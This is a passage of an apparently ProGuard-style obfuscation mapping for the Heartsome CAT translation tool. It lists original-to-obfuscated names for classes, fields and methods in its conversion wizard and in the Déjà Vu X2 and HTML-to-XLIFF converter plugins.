resetMerge(com.ximpleware.AutoPilot,com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.lang.Long,net.heartsome.cat.convert.ui.model.SegMergeInfoBean) -> a + void resetSplit(com.ximpleware.AutoPilot,com.ximpleware.AutoPilot,com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.lang.Long) -> a + void setDataToOtherTU(com.ximpleware.VTDNav,com.ximpleware.XMLModifier,boolean,java.lang.String,java.lang.String) -> a + java.util.List getTagLocation(com.ximpleware.VTDNav,java.lang.String) -> a +net.heartsome.cat.convert.ui.model.SegMergeInfoBean -> net.heartsome.cat.convert.ui.model.SegMergeInfoBean: + boolean isMerge -> xR + java.lang.String phFrag -> xS + java.lang.String phID -> xT + java.lang.String mergeFirstId -> Am + java.lang.String mergeSecondId -> An + boolean isMerge() -> isMerge + void setMerge(boolean) -> setMerge + java.lang.String getPhFrag() -> getPhFrag + void setPhFrag(java.lang.String) -> setPhFrag + java.lang.String getPhID() -> getPhID + void setPhID(java.lang.String) -> setPhID + java.lang.String getMergeFirstId() -> getMergeFirstId + void setMergeFirstId(java.lang.String) -> setMergeFirstId + java.lang.String getMergeSecondId() -> getMergeSecondId + void setMergeSecondId(java.lang.String) -> setMergeSecondId +net.heartsome.cat.convert.ui.preference.FileTypePreferencePage -> net.heartsome.cat.convert.ui.preference.a: + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents +net.heartsome.cat.convert.ui.resource.Messages -> net.heartsome.cat.convert.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.convert.ui.utils.ConversionResource -> net.heartsome.cat.convert.ui.utils.ConversionResource: + java.lang.String direction -> direction + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.core.resources.IFile file -> da + org.eclipse.core.resources.IProject project -> project + org.eclipse.core.runtime.IPath projectRelativePath -> db + java.lang.String getSourcePath() -> getSourcePath + java.lang.String getXliffPath() -> getXliffPath + java.lang.String getSkeletonPath() -> getSkeletonPath + java.lang.String getTargetPath() -> getTargetPath + java.lang.String getTargetPath(java.lang.String) -> getTargetPath + java.lang.String getPreviewPath() -> getPreviewPath + java.lang.String getXliffDir() -> getXliffDir +net.heartsome.cat.convert.ui.utils.EncodingResolver -> net.heartsome.cat.convert.ui.utils.EncodingResolver: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String getEncoding(java.lang.String,java.lang.String) -> getEncoding + java.lang.String getRCEncoding(java.lang.String) -> e + java.lang.String getEncoding(java.lang.String) -> getEncoding + boolean isFixedEncoding(java.lang.String) -> isFixedEncoding + java.lang.String getXMLEncoding(java.lang.String) -> f + java.lang.String getRTFEncoding(java.lang.String) -> g + java.lang.String RTF2JavaEncoding(java.lang.String) -> h + java.lang.String getIDMLEncoding(java.lang.String) -> i + java.lang.String getHTMLEncoding(java.lang.String) -> j +net.heartsome.cat.convert.ui.utils.FileFormatUtils -> net.heartsome.cat.convert.ui.utils.FileFormatUtils: + net.heartsome.cat.converter.util.ConverterBean allFileBean -> dc + net.heartsome.cat.convert.ui.model.ConverterViewModel MODEL -> dd + java.lang.String INX -> INX + java.lang.String HTML -> HTML + java.lang.String JS -> JS + java.lang.String JAVA -> JAVA + java.lang.String MIF -> MIF + java.lang.String OFF -> OFF + java.lang.String OO -> OO + java.lang.String TEXT -> TEXT + java.lang.String PO -> PO + java.lang.String RC -> RC + java.lang.String RESX -> RESX + java.lang.String RTF -> RTF + java.lang.String TRTF -> TRTF + java.lang.String TTX -> TTX + java.lang.String XML -> XML + java.lang.String MS -> MS + java.lang.String SDL -> SDL + java.lang.String DU -> DU + java.lang.String IDML -> IDML + java.lang.String MQ -> MQ + java.lang.String PPTX -> PPTX + java.lang.String MSEXCEl2007 -> MSEXCEl2007 + java.lang.String MSWORD2007 -> MSWORD2007 + java.lang.String WF -> WF + java.util.List getSupportTypes() -> getSupportTypes + java.lang.String[] getExtensions() -> getExtensions + java.lang.String[] getFileFormats() -> getFileFormats + java.lang.String[] getFilterExtensions() -> getFilterExtensions + java.lang.String[] getFilterNames() -> getFilterNames + void checkAutomaticOO(java.util.List) -> b + boolean canEmbedSkl(java.lang.String) -> canEmbedSkl + java.lang.String detectFormat(java.lang.String) -> detectFormat +net.heartsome.cat.convert.ui.wizard.ConversionWizard -> net.heartsome.cat.convert.ui.wizard.a: + java.util.List converterViewModels -> de + java.util.ArrayList conversionConfigBeans -> df + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage page -> dg + org.eclipse.core.resources.IProject currentProject -> Ax + void addPages() -> addPages + boolean performFinish() -> performFinish + java.util.List getConverterViewModels() -> v + boolean isOpenPreTranslation() -> w +net.heartsome.cat.convert.ui.wizard.ConversionWizard$1 -> net.heartsome.cat.convert.ui.wizard.b: + net.heartsome.cat.convert.ui.wizard.ConversionWizard this$0 -> dh + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.convert.ui.wizard.ConversionWizardDialog -> net.heartsome.cat.convert.ui.wizard.c: + org.eclipse.jface.dialogs.IDialogSettings getDialogBoundsSettings() -> getDialogBoundsSettings +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage -> net.heartsome.cat.convert.ui.wizard.d: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String REPLACE_TARGET -> di + java.lang.String OPEN_PRE_TRANS -> dj + java.util.List supportTypes -> supportTypes + java.util.List converterViewModels -> de + boolean isOpenPreTrans -> dk + boolean isReplaceTarget -> dl + org.eclipse.swt.widgets.Combo formatCombo -> dm + org.eclipse.swt.widgets.Combo srcEncCombo -> dn + org.eclipse.jface.viewers.TableViewer tgtLangViewer -> do + org.eclipse.swt.widgets.Table filesTable -> dp + org.eclipse.swt.widgets.TableColumn lineNumColumn -> dq + org.eclipse.swt.widgets.TableColumn sourceColumn -> dr + org.eclipse.swt.widgets.TableColumn formatColumn -> ds + org.eclipse.swt.widgets.TableColumn srcEncColumn -> dt + org.eclipse.swt.widgets.Text srxFile -> du + java.util.ArrayList conversionConfigBeans -> df + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + org.eclipse.core.resources.IProject currentProject -> Ax + java.lang.String srcLang -> srcLang + java.util.List targetlanguage -> Ao + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createPropertiesGroup(org.eclipse.swt.widgets.Composite) -> e + void createConversionOptionsGroup(org.eclipse.swt.widgets.Composite) -> f + void createSegmentationGroup(org.eclipse.swt.widgets.Composite) -> g + java.lang.String getSelectedFormat(java.lang.String) -> l + void validate() -> validate + org.eclipse.swt.widgets.Composite createFilesGroup(org.eclipse.swt.widgets.Composite) -> h + void doSelectedEvent() -> cD + void bindValue() -> q + void loadFiles() -> x + void dispose() -> dispose + boolean isOpenPreTrans() -> y + boolean isReplaceTarget() -> isReplaceTarget + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> a + org.eclipse.swt.widgets.Combo access$1(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> b + java.lang.String access$2(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage,java.lang.String) -> a + org.eclipse.swt.widgets.Table access$3(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> c + java.util.List access$4(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> d + java.util.ArrayList access$5(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> e + void access$6(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> f + org.eclipse.swt.widgets.Combo access$7(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> g + void access$8(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage,boolean) -> a + void access$9(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage,boolean) -> b + org.eclipse.swt.widgets.Text access$10(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> h + void access$11(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> i + org.eclipse.swt.widgets.TableColumn access$12(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> j + org.eclipse.swt.widgets.TableColumn access$13(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> k + org.eclipse.swt.widgets.TableColumn access$14(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> l + org.eclipse.swt.widgets.TableColumn access$15(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> m + org.slf4j.Logger access$16() -> du + org.eclipse.core.resources.IProject access$17(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> n + java.lang.String access$18(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> o + java.util.List access$19(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> p + boolean access$20(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> q + void access$21(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage) -> r +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$1 -> net.heartsome.cat.convert.ui.wizard.e: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$10 -> net.heartsome.cat.convert.ui.wizard.v: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage access$0(net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$10) -> a +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$10$1 -> net.heartsome.cat.convert.ui.wizard.w: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$10 this$1 -> Bi + void create() -> create +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$10$2 -> net.heartsome.cat.convert.ui.wizard.x: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$10 this$1 -> Bi + boolean select(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> select +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$11 -> net.heartsome.cat.convert.ui.wizard.y: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$2 -> net.heartsome.cat.convert.ui.wizard.f: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$3 -> net.heartsome.cat.convert.ui.wizard.g: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + org.eclipse.swt.widgets.Button val$btnReplaceTarget -> dw + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$4 -> net.heartsome.cat.convert.ui.wizard.h: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + org.eclipse.swt.widgets.Button val$btnOpenPreTrans -> dx + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$5 -> net.heartsome.cat.convert.ui.wizard.i: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$6 -> net.heartsome.cat.convert.ui.wizard.j: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$7 -> net.heartsome.cat.convert.ui.wizard.k: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$8 -> net.heartsome.cat.convert.ui.wizard.l: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ConversionWizardPage$9 -> net.heartsome.cat.convert.ui.wizard.m: + net.heartsome.cat.convert.ui.wizard.ConversionWizardPage this$0 -> dv + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizard -> net.heartsome.cat.convert.ui.wizard.n: + java.util.List converterViewModels -> de + org.eclipse.core.resources.IProject project -> project + void addPages() -> addPages + boolean performFinish() -> performFinish + java.util.List getConverterViewModels() -> v + org.eclipse.core.resources.IProject getProject() -> getProject +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage -> net.heartsome.cat.convert.ui.wizard.o: + org.slf4j.Logger LOGGER -> LOGGER + java.util.List converterViewModels -> de + org.eclipse.swt.widgets.Combo tgtEncCombo -> dy + org.eclipse.swt.widgets.Button btnReplaceTarget -> dz + org.eclipse.swt.widgets.Table filesTable -> dp + org.eclipse.swt.widgets.TableColumn lineNumberColumn -> dA + org.eclipse.swt.widgets.TableColumn xliffColumn -> dB + org.eclipse.swt.widgets.TableColumn tgtEncColumn -> dC + org.eclipse.swt.widgets.TableColumn targetColumn -> dD + java.util.ArrayList conversionConfigBeans -> df + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + boolean complete -> dF + java.lang.String errorMessage -> errorMessage + void initData() -> z + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createPropertiesGroup(org.eclipse.swt.widgets.Composite) -> e + void createConversionOptionsGroup(org.eclipse.swt.widgets.Composite) -> f + void validate() -> validate + org.eclipse.swt.widgets.Composite createFilesGroup(org.eclipse.swt.widgets.Composite) -> h + void bindValue() -> q + void loadFiles() -> x + java.lang.String getTgtEncoding(java.lang.String) -> m + void dispose() -> dispose + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> a + org.eclipse.swt.widgets.Combo access$1(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> b + void access$2(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> c + java.util.ArrayList access$3(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> e + java.util.List access$5(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> f + void access$6(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage,boolean) -> a + void access$7(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage,java.lang.String) -> a + org.eclipse.swt.widgets.Table access$8(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> g + org.eclipse.swt.widgets.TableColumn access$9(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> h + org.eclipse.swt.widgets.TableColumn access$10(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> i + org.eclipse.swt.widgets.TableColumn access$11(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> j + org.eclipse.swt.widgets.TableColumn access$12(net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage) -> k +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage$1 -> net.heartsome.cat.convert.ui.wizard.p: + net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage this$0 -> dG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage$2 -> net.heartsome.cat.convert.ui.wizard.q: + net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage this$0 -> dG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage$3 -> net.heartsome.cat.convert.ui.wizard.r: + net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage this$0 -> dG + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage$4 -> net.heartsome.cat.convert.ui.wizard.s: + net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage this$0 -> dG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage$5 -> net.heartsome.cat.convert.ui.wizard.t: + net.heartsome.cat.convert.ui.wizard.ReverseConversionWizardPage this$0 -> dG + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.convert.ui.wizard.TranslationWizardPage -> net.heartsome.cat.convert.ui.wizard.u: + void createControl(org.eclipse.swt.widgets.Composite) -> createControl +net.heartsome.cat.converter.Activator -> net.heartsome.cat.converter.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop +net.heartsome.cat.converter.Converter -> net.heartsome.cat.converter.Converter: + boolean DEBUG_MODE -> DEBUG_MODE + java.lang.String HSSCHEMALOCATION -> HSSCHEMALOCATION + java.lang.String HSNAMESPACE -> HSNAMESPACE + java.lang.String ATTR_TYPE -> ATTR_TYPE + java.lang.String ATTR_TYPE_NAME -> ATTR_TYPE_NAME + java.lang.String ATTR_NAME -> ATTR_NAME + java.lang.String ATTR_DIRECTION -> ATTR_DIRECTION + java.lang.String DIRECTION_POSITIVE -> DIRECTION_POSITIVE + java.lang.String DIRECTION_REVERSE -> DIRECTION_REVERSE + java.lang.String ATTR_SOURCE_FILE -> ATTR_SOURCE_FILE + java.lang.String ATTR_XLIFF_FILE -> ATTR_XLIFF_FILE + java.lang.String ATTR_SOURCE_LANGUAGE -> ATTR_SOURCE_LANGUAGE + java.lang.String ATTR_TARGET_LANGUAGE -> ATTR_TARGET_LANGUAGE + java.lang.String ATTR_SOURCE_ENCODING -> ATTR_SOURCE_ENCODING + java.lang.String ATTR_SKELETON_FILE -> ATTR_SKELETON_FILE + java.lang.String ATTR_TARGET_FILE -> ATTR_TARGET_FILE + java.lang.String ATTR_CATALOGUE -> ATTR_CATALOGUE + java.lang.String ATTR_SRX -> ATTR_SRX + java.lang.String ATTR_SEG_BY_ELEMENT -> ATTR_SEG_BY_ELEMENT + java.lang.String TRUE -> TRUE + java.lang.String FALSE -> FALSE + java.lang.String ATTR_IS_SUITE -> ATTR_IS_SUITE + java.lang.String ATTR_QT_TOOLID -> ATTR_QT_TOOLID + java.lang.String QT_TOOLID_DEFAULT_VALUE -> QT_TOOLID_DEFAULT_VALUE + java.lang.String ATTR_INI_FILE -> ATTR_INI_FILE + java.lang.String ATTR_LOCK_XTRANS -> ATTR_LOCK_XTRANS + java.lang.String ATTR_LOCK_100 -> ATTR_LOCK_100 + java.lang.String ATTR_LOCK_101 -> ATTR_LOCK_101 + java.lang.String ATTR_LOCK_REPEATED -> ATTR_LOCK_REPEATED + java.lang.String ATTR_IS_INDESIGN -> ATTR_IS_INDESIGN + java.lang.String ATTR_IS_RESX -> ATTR_IS_RESX + java.lang.String ATTR_IS_GENERIC -> ATTR_IS_GENERIC + java.lang.String ATTR_PROGRAM_FOLDER -> ATTR_PROGRAM_FOLDER + java.lang.String PROGRAM_FOLDER_DEFAULT_VALUE -> PROGRAM_FOLDER_DEFAULT_VALUE + java.lang.String ATTR_FORMAT -> ATTR_FORMAT + java.lang.String ATTR_IS_TAGGEDRTF -> ATTR_IS_TAGGEDRTF + java.lang.String ATTR_BREAKONCRLF -> ATTR_BREAKONCRLF + java.lang.String ATTR_EMBEDSKL -> ATTR_EMBEDSKL + java.lang.String ATTR_INIDIR -> ATTR_INIDIR + java.lang.String ATTR_IS_PREVIEW_MODE -> ATTR_IS_PREVIEW_MODE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.ConverterException -> net.heartsome.cat.converter.ConverterException: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.StringSegmenter -> net.heartsome.cat.converter.StringSegmenter: + java.util.Vector rules -> dH + java.util.Hashtable tags -> dI + java.lang.String[] segment(java.lang.String) -> segment + java.lang.String cleanup(java.lang.String) -> n + java.lang.String[] analysisBlank(java.lang.String[]) -> c + java.lang.String prepareString(java.lang.String) -> o + boolean endsWith(java.lang.String,java.lang.String) -> endsWith + java.lang.String[] split(java.lang.String,java.lang.String,java.lang.String) -> a + boolean startsWith(java.lang.String,java.lang.String) -> startsWith + java.lang.String[] split(java.lang.String,java.lang.String) -> split + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.deja_vu_x2.Activator -> net.heartsome.cat.converter.deja_vu_x2.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.deja_vu_x2.Activator plugin -> dJ + org.osgi.framework.ServiceRegistration du2XliffSR -> dK + org.osgi.framework.ServiceRegistration xliff2DuSR -> dL + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.deja_vu_x2.Activator getDefault() -> A +net.heartsome.cat.converter.deja_vu_x2.Du2Xliff -> net.heartsome.cat.converter.deja_vu_x2.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void access$0(java.lang.String,java.lang.String) -> c +net.heartsome.cat.converter.deja_vu_x2.Du2Xliff$Du2XliffImpl -> net.heartsome.cat.converter.deja_vu_x2.c: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String userSourceLang -> dP + java.lang.String targetLang -> dQ + java.lang.String srcEncoding -> srcEncoding + java.io.FileOutputStream output -> dR + boolean lockXtrans -> lockXtrans + boolean lock100 -> lock100 + boolean isSuite -> dS + java.lang.String qtToolID -> dT + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + net.heartsome.cat.converter.deja_vu_x2.Du2Xliff this$0 -> dW + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseSkeletonFile() -> B + void writeString(java.lang.String) -> writeString + void writeHeader() -> writeHeader + void analyzeNodes() -> C + void analysisTuMrkStatus(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.converter.deja_vu_x2.TuMrkBean,java.lang.String,boolean) -> a + void insertPlaceHolder(net.heartsome.xml.vtdimpl.VTDUtils,int) -> a + void writeSegment(net.heartsome.cat.converter.deja_vu_x2.TuMrkBean,net.heartsome.cat.converter.deja_vu_x2.TuMrkBean,int) -> a +net.heartsome.cat.converter.deja_vu_x2.TuMrkBean -> net.heartsome.cat.converter.deja_vu_x2.d: + java.lang.String mid -> dX + java.lang.String content -> o + boolean isSource -> isSource + java.lang.String comment -> comment + java.lang.String status -> status + boolean isLocked -> dY + boolean isTextNull() -> D + java.lang.String getMid() -> E + void setMid(java.lang.String) -> p + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + boolean isSource() -> isSource + void setSource(boolean) -> e + java.lang.String getStatus() -> getStatus + void setStatus(java.lang.String) -> setStatus + boolean isLocked() -> isLocked + void setLocked(boolean) -> setLocked + java.lang.String getComment() -> getComment + void setComment(java.lang.String) -> setComment +net.heartsome.cat.converter.deja_vu_x2.Xliff2Du -> net.heartsome.cat.converter.deja_vu_x2.e: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void main(java.lang.String[]) -> main + void access$0(java.lang.String,java.lang.String) -> c +net.heartsome.cat.converter.deja_vu_x2.Xliff2Du$Xliff2DuImpl -> net.heartsome.cat.converter.deja_vu_x2.f: + java.lang.String outputFile -> outputFile + com.ximpleware.VTDNav outputVN -> dZ + com.ximpleware.XMLModifier outputXM -> ea + com.ximpleware.AutoPilot outputAP -> eb + com.ximpleware.VTDNav hsxlfVN -> ec + java.lang.String encoding -> encoding + net.heartsome.cat.converter.deja_vu_x2.Xliff2Du this$0 -> ed + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseOutputFile(java.lang.String,java.lang.String) -> d + void parseXlfFile(java.lang.String) -> q + void ananysisXlfTU() -> F + void replaceSegment(java.lang.String,net.heartsome.cat.converter.deja_vu_x2.TuMrkBean,net.heartsome.cat.converter.deja_vu_x2.TuMrkBean) -> a + void getNotes(com.ximpleware.VTDNav,net.heartsome.cat.converter.deja_vu_x2.TuMrkBean) -> a +net.heartsome.cat.converter.deja_vu_x2.resource.Messages -> net.heartsome.cat.converter.deja_vu_x2.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.html.Activator -> net.heartsome.cat.converter.html.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.html.Activator plugin -> ee + org.osgi.framework.ServiceRegistration html2XliffSR -> ef + org.osgi.framework.ServiceRegistration xliff2HtmlSR -> eg + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.html.Activator getDefault() -> G +net.heartsome.cat.converter.html.Html2Xliff -> net.heartsome.cat.converter.html.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.lang.String getNodeType(java.lang.String) -> r + boolean containsText(java.lang.String) -> s + java.lang.String normalize(java.lang.String) -> normalize + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + boolean access$0(java.lang.String) -> t + java.lang.String access$1(java.lang.String) -> u + java.lang.String access$2(java.lang.String) -> v +net.heartsome.cat.converter.html.Html2Xliff$Html2XliffImpl -> net.heartsome.cat.converter.html.c: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + java.lang.String srcEncoding -> srcEncoding + java.io.FileInputStream input -> ei + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + int segId -> ek + int tagId -> el + java.util.List segments -> cV + java.util.Hashtable startsSegment -> em + java.util.Hashtable translatableAttributes -> en + java.util.Hashtable entities -> entities + java.util.Hashtable ctypes -> eo + java.util.Hashtable keepFormating -> ep + boolean segByElement -> segByElement + boolean keepFormat -> eq + net.heartsome.cat.converter.StringSegmenter segmenter -> er + java.lang.String catalogue -> catalogue + java.lang.String first -> es + java.lang.String last -> et + boolean isSuite -> dS + java.lang.String qtToolId -> eu + net.heartsome.cat.converter.html.Html2Xliff this$0 -> ev + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeHeader() -> writeHeader + void processList(org.eclipse.core.runtime.IProgressMonitor) -> a + void extractSegment(java.lang.String) -> w + void writeSegment(java.lang.String) -> x + java.lang.String segmentCleanup(java.lang.String) -> y + java.lang.String phContent(java.lang.String) -> z + java.lang.String removePH(java.lang.String) -> A + java.lang.String addTags(java.lang.String) -> B + java.lang.String tag(java.lang.String) -> C + java.lang.String cleanString(java.lang.String) -> cleanString + void writeSkeleton(java.lang.String) -> D + void writeString(java.lang.String) -> writeString + boolean isTranslateable(java.lang.String) -> E + java.lang.String extractAttributes(java.lang.String,java.lang.String) -> e + void buildTables(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + void buildList(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> b +net.heartsome.cat.converter.html.Xliff2Html -> net.heartsome.cat.converter.html.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.html.Xliff2Html$Xliff2HtmlImpl -> net.heartsome.cat.converter.html.e: + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String line -> line + 